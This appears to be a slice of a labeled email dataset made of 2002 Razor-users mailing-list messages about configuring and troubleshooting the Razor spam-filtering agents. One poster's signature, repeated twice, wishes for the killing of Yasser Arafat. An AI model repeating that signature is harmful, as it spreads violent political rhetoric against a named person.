/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ > Patrick Greenwell > Asking the wrong questions is the leading cause of wrong answers > \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ > > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users -- Vipul Ved Prakash | ""The future is here, it's just not Software Design Artist | widely distributed."" http://vipul.net/ | -- William Gibson ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Christopher VanOosterhout ,"""rODbegbie"" ","Wed, 24 Jul 2002 14:53:38 -0400",Re: [Razor-users] Authentication Error,"unsubscribe At 12:26 PM 7/24/02 -0400, rODbegbie wrote: >Tabor J. Wells wrote: > > And where does it say production-ready? http://razor.sourceforge.net > > says at the top of the page: > > > > June 13, 2002 - Vipul's Razor v2 released! The first beta of Vipul's > > Razor v2 is now available for public download. > >1) I think the code is still very much pre-beta. > >2) When you go to the ""Download"" page, it tells you ""Fetch the latest >versions of razor-agents and razor-agents-sdk packages"" It is not at all >clear that these are development packages. > >The site is badly designed, and very misleading. IMO. The fact that the >word ""beta"" appears in the middle of some introductory text on the front >page is hardly a valid argument. (Well accepted software design ""fact"": >USERS DON'T READ *ANYTHING*) > >I get the impression that Vipul & co are deliberately trying to mislead >users into downloading the dev code in order to get more unwitting test >sites. > >But that's just my opinion, I could be wrong. > >rOD. > >-- >Anyway... long story short... >...is a phrase whose origins are complicated and rambling. > > >> Doing the blogging thang again at http://www.groovymother.com/ << > > > >------------------------------------------------------- >This sf.net email is sponsored by:ThinkGeek >Welcome to geek heaven. >http://thinkgeek.com/sf >_______________________________________________ >Razor-users mailing list >Razor-users@lists.sourceforge.net >https://lists.sourceforge.net/lists/listinfo/razor-users -- Christopher VanOosterhout Torresen Marine, Inc. Internet Division http://www.torresen.com/ http://www.marinedieseldirect.com/ 3126 Lake Shore Drive Muskegon, Michigan 49441 231-759-8596 ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 John Andersen ,"""rODbegbie"" ,","Wed, 24 Jul 2002 21:13:25 -0800",Re: [Razor-users] Authentication Error,"On Wednesday 24 July 2002 08:42 am, rODbegbie wrote: > rODbegbie wrote: > > I get the impression that Vipul & co are deliberately trying to > > mislead users into downloading the dev code in order to get more > > unwitting test sites. > > Apologies to all. In re-reading, that sentence sounds a lot harsher than I > intended. > > As the old maxim goes, ""Never ascribe to malice that which can be equally > explained by incompetence"". Oh Yeah that sounds a WHOLE lot better... (chuckle). -- _________________________________________________ No I Don't Yahoo! And I'm getting pretty sick of being asked if I do. _________________________________________________ John Andersen / Juneau Alaska ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Fox"" ",",","Thu, 25 Jul 2002 10:08:13 -0400",Re: [Razor-users] unsubscribe,"ignore ----- Original Message ----- From: ""Christopher VanOosterhout"" To: Sent: Thursday, July 25, 2002 7:51 AM Subject: [Razor-users] unsubscribe > unsubscribe > > At 09:13 PM 7/24/02 -0800, John Andersen wrote: > >On Wednesday 24 July 2002 08:42 am, rODbegbie wrote: > > > rODbegbie wrote: > > > > I get the impression that Vipul & co are deliberately trying to > > > > mislead users into downloading the dev code in order to get more > > > > unwitting test sites. > > > > > > Apologies to all. In re-reading, that sentence sounds a lot harsher than I > > > intended. > > > > > > As the old maxim goes, ""Never ascribe to malice that which can be equally > > > explained by incompetence"". > > > >Oh Yeah that sounds a WHOLE lot better... (chuckle). > > > >-- > >_________________________________________________ > >No I Don't Yahoo! > >And I'm getting pretty sick of being asked if I do. > >_________________________________________________ > >John Andersen / Juneau Alaska > > > > > >------------------------------------------------------- > >This sf.net email is sponsored by: Jabber - The world's fastest growing > >real-time communications platform! Don't just IM. Build it in! > >http://www.jabber.com/osdn/xim > >_______________________________________________ > >Razor-users mailing list > >Razor-users@lists.sourceforge.net > >https://lists.sourceforge.net/lists/listinfo/razor-users > > -- > Christopher VanOosterhout > Torresen Marine, Inc. > Internet Division > http://www.torresen.com/ > http://www.marinedieseldirect.com/ > 3126 Lake Shore Drive > Muskegon, Michigan 49441 > 231-759-8596 > > > > ------------------------------------------------------- > This sf.net email is sponsored by: Jabber - The world's fastest growing > real-time communications platform! Don't just IM. Build it in! > http://www.jabber.com/osdn/xim > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Chad Norwood ,"razor-users@example.sourceforge.net,","Thu, 25 Jul 2002 16:11:15 -0700",[Razor-users] Razor Agents 2.14 Released,"This is a stable beta release. Please to upgrade. http://prdownloads.sourceforge.net/razor/razor-agents-2.14.tar.gz?download I've listed below all changes since the last major release, 2.12. These are also in the Changes file included with the tar.gz. -chad 2.14 (July 25, 2002) Added Digest::Nilsimsa and URI::Escape to Make- file.PL's prerequisites. [vipul] Fixed rare bug in report. Thanks goes to ""Alan A."" for this and much more help. [chad] 2.126 (July 24, 2002) Improved logic again for detecting spam. [chad, vipul] Run-time warnings are disabled unless in debug mode. [chad] 2.125 (July 18, 2002) Improved logic for detecting spam, now we only look at visible and/or significant mime parts. [chad, vipul] Mime parts cleaned to only whitespace are now ignored on the client side, that is, they are not checked against server [chad] Fixed bug in report (err 202) [chad] Quieted more warnings [chad] 2.123 (July 17, 2002) Fixed bug in revoke/report [chad] Whitelist now looks at all 'Received:' headers for matching [chad] Added debuglevel, whitelist cmd-line options [chad] Quieted more warnings [chad] 2.122 (July 15, 2002) Renamed razor-register razor-admin. To register, you must 'razor-admin -register' [chad] Cleanded up how we store mail parts. Each mail object now has a part object that stores info relevant to that part. [chad] Fixed parse_mbox (reading mbox and rfc822 mails) [chad] Backup any existing identity files before writing over them (with new identity) [chad] Added lock file support, so only one process writes to servers.*.lst at a time [chad] Added rediscover_wait_dns [chad] Fixed a bug when we rediscover, we save info to list correctly but when using it we skip the first server [chad] Fixed whitelist so rule 'from xx' only matches 'From: .*xx' not 'From .*xx' (Note the ':') [chad] Made exit codes cleaner [chad] 0 or 1 => no error 2 or greater => error Fixed error msg/exit code after disconnect [chad] Added -w to razor binaries [chad] If authen fails 'cuz unknown user (213), attempt re- register [chad] Quieted a bunch of warnings [chad] ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 =?ISO-8859-1?Q?J=F8rgen_Thomsen?= ,razor-users@example.sourceforge.net,"Fri, 26 Jul 2002 02:24:29 +0200",[Razor-users] Content-Type: message/rfc822 supported ?,"I cannot determine if a verbatim forwarded message from Agent is handled correctly i.e. that a message with Content-Type: message/rfc822 does not include the original header lines improperly in the email body when reporting the spam. It would be really nice and convenient if it supported as the Agent verbatim forwarding option is easy to use. SpamCop does understand the format. See an examle below: - Jrgen Return-Path: Delivered-To: jth@jth.net Received: from vennely1 (vennely1 [194.192.106.109]) by mail.jth.net (Postfix) with SMTP id 17A9118684 for ; Fri, 26 Jul 2002 02:15:03 +0200 (CEST) From: =?ISO-8859-1?Q?J=F8rgen_Thomsen?= To: j@jth.net Subject: (fwd) [Razor-users] Razor Agents 2.14 Released Date: Fri, 26 Jul 2002 02:14:57 +0200 Message-ID: X-Mailer: Forte Agent 1.91/32.564 MIME-Version: 1.0 Content-Type: message/rfc822 Content-Disposition: inline Return-Path: Delivered-To: list@jth.net Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net [216.136.171.252]) by mail.jth.net (Postfix) with ESMTP id 88B0F18684 for ; Fri, 26 Jul 2002 01:18:00 +0200 (CEST) and the rest of the original header and the body ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Chad Norwood ,=?iso-8859-1?Q?J=F8rgen?= Thomsen ,"Thu, 25 Jul 2002 18:33:15 -0700",[Razor-users] Re: Content-Type: message/rfc822 supported ?,"Not sure what you're asking. Content-Type: message/rfc822 mails are handled like attachments and are not broken down further into mime parts. That is, the attachment is treated as one part. The headers and body of the message/rfc822 are sent to the server without parsing. The other way to handle it is to treat it like a regular mail, and break it down into parts. There are reasons to break it down and not to break it down, and right now we chose not to break it down. This might change in the future. -chad On 26/07/02 02:24 +0200, Jrgen Thomsen wrote: ) I cannot determine if a verbatim forwarded message from Agent is handled ) correctly i.e. that a message with Content-Type: message/rfc822 does not ) include the original header lines improperly in the email body when reporting ) the spam. It would be really nice and convenient if it supported as the Agent ) verbatim forwarding option is easy to use. ) SpamCop does understand the format. ) See an examle below: ) ) - Jrgen ) ) Return-Path: ) Delivered-To: jth@jth.net ) Received: from vennely1 (vennely1 [194.192.106.109]) ) by mail.jth.net (Postfix) with SMTP id 17A9118684 ) for ; Fri, 26 Jul 2002 02:15:03 +0200 (CEST) ) From: =?ISO-8859-1?Q?J=F8rgen_Thomsen?= ) To: j@jth.net ) Subject: (fwd) [Razor-users] Razor Agents 2.14 Released ) Date: Fri, 26 Jul 2002 02:14:57 +0200 ) Message-ID: ) X-Mailer: Forte Agent 1.91/32.564 ) MIME-Version: 1.0 ) Content-Type: message/rfc822 ) Content-Disposition: inline ) ) Return-Path: ) Delivered-To: list@jth.net ) Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net ) [216.136.171.252]) ) by mail.jth.net (Postfix) with ESMTP id 88B0F18684 ) for ; Fri, 26 Jul 2002 01:18:00 +0200 (CEST) ) ) and the rest of the original header and the body ) ) ) ------------------------------------------------------- ) This sf.net email is sponsored by: Jabber - The world's fastest growing ) real-time communications platform! Don't just IM. Build it in! ) http://www.jabber.com/osdn/xim ) _______________________________________________ ) Razor-users mailing list ) Razor-users@lists.sourceforge.net ) https://lists.sourceforge.net/lists/listinfo/razor-users ------------------------------------------------------- This sf.net email is sponsored by: Jabber - The world's fastest growing real-time communications platform! Don't just IM. Build it in! http://www.jabber.com/osdn/xim _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 John Andersen ,"Kylus , razor-users@example.sourceforge.net","Thu, 25 Jul 2002 21:45:42 -0800",Re: [Razor-users] unsubscribe,"On Thursday 25 July 2002 06:16 am, Kylus wrote: > Much thanks and my apologies if I come across as a jerk. It needed saying. Thanks for stepping up. -- _________________________________________________ No I Don't Yahoo! And I'm getting pretty sick of being asked if I do. _________________________________________________ John Andersen / Juneau Alaska ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 =?ISO-8859-1?Q?J=F8rgen_Thomsen?= ,razor-users@example.sourceforge.net,"Fri, 26 Jul 2002 08:41:23 +0200",[Razor-users] Re: Content-Type: message/rfc822 supported ?,"Thu, 25 Jul 2002 18:33:15 -0700 skrev du: > Not sure what you're asking. I just want to be sure, that forwarding an email to my own spamtrap address which performs a razor-report on the entire received email is not waste of time, because the contents of the forwarded email is not recognized as equal to the email originally received. The forwarded email has a new set of headerlines, which should be discarded and instead the headerlines of the original message are in the body of this new message and should be recognized as such and treated properly. An ordinary Forward Unquoted in Agent is subject to character set conversions and does not depict the received spam in its original form. I hope this clarifies my concerns. - Jrgen ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Brian Fahrlander ,razor-users@example.sourceforge.net,"Fri, 26 Jul 2002 02:32:37 -0500",[Razor-users] Archive Question,"Uh, guys? I can't seem to find the RPMs anymore. Does anyone else remember the URL? ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ I don't want to hear news from Isreal until the news contains the words ""Bullet"", ""Brain"", and ""Arafat"". ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Marc Perkel ,razor-users@example.sourceforge.net,"Fri, 26 Jul 2002 10:00:58 -0700",[Razor-users] My razor identity reputation score,"As I understand it - the central database keeps a score of a reporters electronic ""reputation"". Is there any way for me to read this? I want to be able to tell how many messages I sent and if there were any revokes? ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Chad Norwood ,=?iso-8859-1?Q?J=F8rgen?= Thomsen ,"Fri, 26 Jul 2002 10:05:47 -0700",[Razor-users] Re: Content-Type: message/rfc822 supported ?,"For what you're trying to do, forwarding does not work. 'bounce' works perfectly, if you can do that. Another option is to save spam to a folder and report it all at once. -chad On 26/07/02 08:41 +0200, Jrgen Thomsen wrote: ) Thu, 25 Jul 2002 18:33:15 -0700 skrev du: ) ) > Not sure what you're asking. ) ) I just want to be sure, that forwarding an email to my own spamtrap address ) which performs a razor-report on the entire received email is not waste of ) time, because the contents of the forwarded email is not recognized as equal ) to the email originally received. The forwarded email has a new set of ) headerlines, which should be discarded and instead the headerlines of the ) original message are in the body of this new message and should be recognized ) as such and treated properly. ) ) An ordinary Forward Unquoted in Agent is subject to character set conversions ) and does not depict the received spam in its original form. ) ) I hope this clarifies my concerns. ) ) - Jrgen ) ) ) ) ------------------------------------------------------- ) This sf.net email is sponsored by:ThinkGeek ) Welcome to geek heaven. ) http://thinkgeek.com/sf ) _______________________________________________ ) Razor-users mailing list ) Razor-users@lists.sourceforge.net ) https://lists.sourceforge.net/lists/listinfo/razor-users ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Brian Fahrlander ,razor-users@example.sourceforge.net,"Fri, 26 Jul 2002 12:07:18 -0500",[Razor-users] Routine problem; this time it's mine.,"I hate to ask...I've heard it mentioned several times here, but I couldn't find a digest, and the hits I found on Google turned up missing pages. :( I thought I was reporting spams all this time...the last month or so...but I wasn't. I had a pathing problem going on, and a log-pathing problem, too, but hadn't noticed it yet. Now, the system seems to be working, other than this message in the logs: nextserver: Could not get valid info from Discovery Servers What's the fix for this again? Is it a server outtage, or something else? I'm using the 2.03 sdk, and the new 2.14 agent... ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ I don't want to hear news from Isreal until the news contains the words ""Bullet"", ""Brain"", and ""Arafat"". ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Steven Champeon ,razor-users@example.sourceforge.net,"Wed, 31 Jul 2002 17:31:05 -0400","[Razor-users] can't call method ""log"" issue - solution","I see that Robert S. Wojciechowski Jr. posted about this issue on 7/26, but I don't see any responses. I get that error when calling razor-report from a sendmail alias, but not from the command line as a different user. The way I solved it was to run razor-admin -create and razor-admin -discover with a -home argument set to the global /etc/razor directory, which is explicitly specified in the args to the alias pipe. The manual page, which suggests that /etc/razor/razor-agent.conf will be loaded first, does not also say that razor-admin will then create a .razor directory in the user's home directory if it does not exist (although this /is/ pointed out in the razor-agents(1) page. This may lead to some minor confusion if the user is trying to set the discovery and other defaults for a default (e.g., /etc/razor) install. The workaround is as I say above, namely, explicitly specify the path to razorhome on the command line, e.g. razor-admin -home=/etc/razor -create razor-admin -home=/etc/razor -discover hth, Steve -- hesketh.com/inc. v: (919) 834-2552 f: (919) 834-2554 w: http://hesketh.com ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Sven"" ",,"Wed, 31 Jul 2002 21:44:08 -0400","[Razor-users] Smrazor, Milter, and Max connections","With v2.14 of razor client and using Solaris 9 with sendmail 8.12.5 I have managed to get smrazor working (milter) -- sort of ... With light server loads, it seems to do fine; however during peak traffic times (or peak catalogue server usage???) , the smrazor milter stops and sometime dumps core as well. Does anyone know of a limit in terms of number of messages/minute that can be theoretically processed? I have noticed timeouts occuring (I set the milter timeout per message to 15 seconds) often in huge lumps and the occasional ""Could not get valid info from Discovery Servers"") ????? I am not using procmail because this [cluster of] server is a gateway on to 5 different pop3 servers (5 different domains), ergo, local users won't work because of overlapping usernames ...(or insanely huge virtusertable to alias mappings .....) Alternatively does anyone have a working, high-capacity milter for this or any other related ideas??? Sven ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Vipul Ved Prakash ,Sven ,"Wed, 31 Jul 2002 19:31:46 -0700","Re: [Razor-users] Smrazor, Milter, and Max connections","On Wed, Jul 31, 2002 at 09:44:08PM -0400, Sven wrote: > With v2.14 of razor client and using Solaris 9 with sendmail 8.12.5 I have > managed to get smrazor working (milter) -- sort of ... With light server > loads, it seems to do fine; however during peak traffic times (or peak > catalogue server usage???) , the smrazor milter stops and sometime dumps > core as well. Does anyone know of a limit in terms of number of > messages/minute that can be theoretically processed? I have noticed timeouts > occuring (I set the milter timeout per message to 15 seconds) often in huge > lumps and the occasional ""Could not get valid info from Discovery Servers"") > ????? 15 seconds is more than enough timeout... There's no request/minute limit, and we are not close to hardware limits on any of the servers. Could you send me relevant sections from the log file as well as your config? -- Vipul Ved Prakash | ""The future is here, it's just not Software Design Artist | widely distributed."" http://vipul.net/ | -- William Gibson ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Sven"" ",,"Wed, 31 Jul 2002 23:17:07 -0400","Re: [Razor-users] Smrazor, Milter, and Max connections","----- Original Message ----- From: ""Vipul Ved Prakash"" To: ""Sven"" Cc: Sent: Wednesday, July 31, 2002 10:31 PM Subject: Re: [Razor-users] Smrazor, Milter, and Max connections > On Wed, Jul 31, 2002 at 09:44:08PM -0400, Sven wrote: > > With v2.14 of razor client and using Solaris 9 with sendmail 8.12.5 I have > > managed to get smrazor working (milter) -- sort of ... With light server > > loads, it seems to do fine; however during peak traffic times (or peak > > catalogue server usage???) , the smrazor milter stops and sometime dumps > > core as well. Does anyone know of a limit in terms of number of > > messages/minute that can be theoretically processed? I have noticed timeouts > > occuring (I set the milter timeout per message to 15 seconds) often in huge > > lumps and the occasional ""Could not get valid info from Discovery Servers"") > > ????? > > 15 seconds is more than enough timeout... There's no request/minute limit, > and we are not close to hardware limits on any of the servers. > > Could you send me relevant sections from the log file as well as > your config? > >>From the maillog: Jul 31 22:52:20 cartman sendmail[21081]: [ID 801593 mail.error] g712pocb021081: Milter (smrazor): timeout before data read Jul 31 22:52:20 cartman sendmail[21081]: [ID 801593 mail.info] g712pocb021081: Milter (smrazor): to error state Jul 31 22:52:22 cartman sendmail[21091]: [ID 801593 mail.error] g712pocb021091: Milter (smrazor): timeout before data read Jul 31 22:52:22 cartman sendmail[21091]: [ID 801593 mail.info] g712pocb021091: Milter (smrazor): to error state >>From razor-agents.log Jul 31 17:35:43.637025 check[21171]: [ 1] razor-check error: nextserver: discover0: bootstrap_discovery: Jul 31 17:35:43.987175 check[21168]: [ 1] razor-check error: nextserver: discover0: bootstrap_discovery: Jul 31 18:36:34.652485 check[8241]: [ 1] razor-check error: nextserver: Could not get valid info from Discovery Servers Jul 31 22:01:09.162201 check[9973]: [ 1] razor-check error: nextserver: Could not get valid info from Discovery Servers >>From smrazor.err [07/31/2002 22:52:22] (1144) Error reading from razor-check (156a78) (21092): timeout [07/31/2002 22:52:42] (1144) Error reading from razor-check (16b948) (21221): timeout [07/31/2002 22:52:42] (1144) Error reading from razor-check (165348) (21227): timeout [07/31/2002 22:57:21] (1144) Error reading from razor-check (16d118) (22911): timeout razor-agent.conf # # Razor2 config file # # Autogenerated by Razor-Agents v2.14 # Wed Jul 31 11:38:43 2002 # Created with all default values # # see razor-agent.conf(5) man page # debuglevel = 3 identity = identity ignorelist = 0 listfile_catalogue = servers.catalogue.lst listfile_discovery = servers.discovery.lst listfile_nomination = servers.nomination.lst logfile = /var/log/razor-agent.log min_cf = ac razorhome = /etc/razor razorzone = razor2.cloudmark.com rediscovery_wait = 172800 report_headers = 1 turn_off_discovery = 0 use_engines = 1,2,3,4 whitelist = razor-whitelist Realizing that the above, after looking at it, is pretty much no help, changed debug to 9 and output the results to a text file. It is attached but the crux of the messages resemble: Jul 31 23:11:14.633544 check[5689]: [ 7] Can't read file servers.discovery.lst, looking relatve to Jul 31 23:11:14.634218 check[5689]: [ 5] Can't read file /servers.discovery.lst: No such file or directory or Jul 31 23:07:19.115412 check[26156]: [ 6] no discovery listfile: servers.discovery.lst Jul 31 23:07:19.115878 check[26156]: [ 5] Finding Discovery Servers via DNS in the razor2.cloudmark.com zone Jul 31 23:07:19.174862 check[26155]: [ 8] Connection established Jul 31 23:07:19.175667 check[26155]: [ 4] 216.52.13.90 >> 29 server greeting: sn=N&srl=30&ep4=7542-10&a=l Jul 31 23:07:19.176887 check[26155]: [ 4] 216.52.13.90 << 12 Jul 31 23:07:19.177344 check[26155]: [ 6] a=g±=csl Jul 31 23:07:19.214020 check[26124]: [ 6] Found 1 Discovery Servers via DNS in the razor2.cloudmark.com zone Jul 31 23:07:19.214729 check[26124]: [ 8] Checking with Razor Discovery Server 216.52.13.90 Jul 31 23:07:19.215383 check[26124]: [ 6] No proper port specified, using 2703 Jul 31 23:07:19.215833 check[26124]: [ 5] Connecting to 216.52.13.90 ... It would appear that even though there is a specified home directory, razor-check cannot read the .lst files and must apparently run discovery at each lookup????? This, btw, is occuring on two separate servers ... Sven ------------------------------------------------------- This sf.net email is sponsored by: Dice - The leading online job board for high-tech professionals. Search and apply for tech jobs today! http://seeker.dice.com/seeker.epl?rel_code=31 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """zenn"" ",,"Fri, 2 Aug 2002 18:31:38 +1000",[Razor-users] razor-cache ?,"suggestion... as I see it, there is a valid need for a ""razor-cache"" server that is available to the local smtp host... recursiveness would also be a nice feature, giving us the option to link caches to offload the burden on the razor servers... it could also allow us to setup local razor caches for private networks that can bypass the razor servers all together... any commensts ? ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 William Stearns ,zenn ,"Fri, 2 Aug 2002 10:51:58 -0400 (EDT)",Re: [Razor-users] razor-cache ?,"Good day, zenn, On Fri, 2 Aug 2002, zenn wrote: > as I see it, there is a valid need for a ""razor-cache"" server that is > available to the local smtp host... > recursiveness would also be a nice feature, giving us the option to link > caches to offload the burden on the razor servers... > it could also allow us to setup local razor caches for private networks that > can bypass the razor servers all together... > any commensts ? http://www.stearns.org/razor-caching-proxy/ is what you're looking for for the razor1 protocol. The equivalent for razor2 is on hold pending documentation of the razor2 protocol. Jordan, is that still in the ""finishing touches"" stage? *smile* I'm betting that the infinite demands of getting a startup going put it on the back burner. Please let me know if I can help; if you need someone to check it over, I'd be glad to do that. Cheers, - Bill --------------------------------------------------------------------------- ""Power concedes nothing without a demand. It never did, and it never will. Find out just what people will submit to, and you have found out the exact amount of injustice and wrong which will be imposed upon them; and these will continue until they are resisted with either words or blows, or with both. The limits of tyrants are prescribed by the endurance of those whom they oppress."" -- Frederick Douglass, August 4, 1857 (Courtesy of Eric S. Raymond) -------------------------------------------------------------------------- William Stearns (wstearns@pobox.com). Mason, Buildkernel, named2hosts, and ipfwadm2ipchains are at: http://www.stearns.org -------------------------------------------------------------------------- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Vipul Ved Prakash ,Marc Perkel ,"Fri, 2 Aug 2002 15:11:50 -0700",Re: [Razor-users] False Positives on EFF Messages,"Hi Marc, There have been several changes in the trust system recently. We'll start seeing confidence values published with signatures from tomorrow morning (around 4AM). This should be resolved then. Please revoke anything you don't consider spam. It reduces the trust of the person who reported it as well as the confidence of the signature. cheers, vipul. On Fri, Aug 02, 2002 at 03:01:42PM -0700, Marc Perkel wrote: > Hi everyone, > > I'm the systems admin for the Electronic Frontier Foundation and I'm using razor > running under spam assassin there and one my own personal server. Generally it > works fine with near 0 false positives - except - that almost all the false > positives I've seen are on messages that originated at EFF. > > So - I am wondering why RAZOR is catching EFF email and how is this happening. > Below is an example of what I'm talking about. > > --------------------------------- > > Envelope-to: pcn@virtualrecordings.com > X-Sender: robin@mail.eff.org > X-Mailer: QUALCOMM Windows Eudora Version 5.1 > To: eff-ip@eff.org > From: Robin Gross > Subject: [E-IP] HP backs off DMCA threat - CNET.com > Sender: eff-ip-admin@eff.org > X-BeenThere: eff-ip@eff.org > X-Mailman-Version: 2.0.11 > List-Unsubscribe: , > > List-Id: Intelectual Property > List-Post: > List-Help: > List-Subscribe: , > > List-Archive: > X-Original-Date: Fri, 02 Aug 2002 10:15:12 -0700 > Date: Fri, 02 Aug 2002 10:15:12 -0700 > X-Spam-Status: Yes, hits=7.1 required=5.0 > tests=MAILTO_LINK,RAZOR_CHECK > version=2.40 > X-Spam-Flag: YES > X-Spam-Level: ******* > X-Spam-Checker-Version: SpamAssassin 2.40 (devel $Id: SpamAssassin.pm,v 1.108 > 2002/07/29 16:25:10 jmason Exp $) > X-Spam-Report: Detailed Report > SPAM: -------------------- Start SpamAssassin results ---------------------- > SPAM: This mail is probably spam. The original message has been altered > SPAM: so you can recognise or block similar unwanted mail in future. > SPAM: See http://spamassassin.org/tag/ for more details. > SPAM: > SPAM: Content analysis details: (7.1 hits, 5 required) > SPAM: MAILTO_LINK (0.1 points) BODY: Includes a URL link to send an > email > SPAM: RAZOR_CHECK (7.0 points) Listed in Razor, see > http://razor.sourceforge.net/ > SPAM: > SPAM: -------------------- End of SpamAssassin results --------------------- > X-Spam: [SPAM] - Spam Assassin > > > > http://news.com.com/2100-1023-947740.html > > Document: HP backs off DMCA threat > > By CNET News.com Staff > August 1, 2002, 6:10 PM PT > > Hewlett-Packard Thursday abandoned legal threats it made against security > analysts who publicized flaws in the company's software. > > In a statement released late Thursday, HP said it would not use the Digital > Millennium Copyright Act (DMCA), a controversial copyright law, to pursue a > loosely-organized team of researchers who demonstrated a bug in the company's > Tru64 Unix operating system. > > The following is the company's statement: > > 1) HP is committed to protecting our customer's security environments. > > 2) We have verified that there is a security vulnerability with Tru64 UNIX, the > details of which were brought to our attention July 18. The problem has now been > isolated and HP has been preparing a fix, which will be available within the > next 48 hours. > > 3) We won't comment on the specifics of our discussions with SnoSoft. However, > we take our customers' security requirements very seriously and have a strong > track record following industry-standard security practices. > > 4) Where and how the DMCA should be applied is a matter of great controversy. > The reported letter to SnoSoft was not consistent or indicative of HP's policy. > We can say emphatically that HP will not use the DMCA to stifle research or > impede the flow of information that would benefit our customers and improve > their system security. > > > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > Robin D. Gross - Cyberspace Attorney @ Law - Intellectual Property > Director - Campaign for Audiovisual Free Expression (CAFE) > Electronic Frontier Foundation > 454 Shotwell Street, San Francisco, CA 94110 > e: robin@eff.org w: http://www.eff.org > p: 415.863.5459 f: 415.436.9993 > http://www.eff.org/cafe > 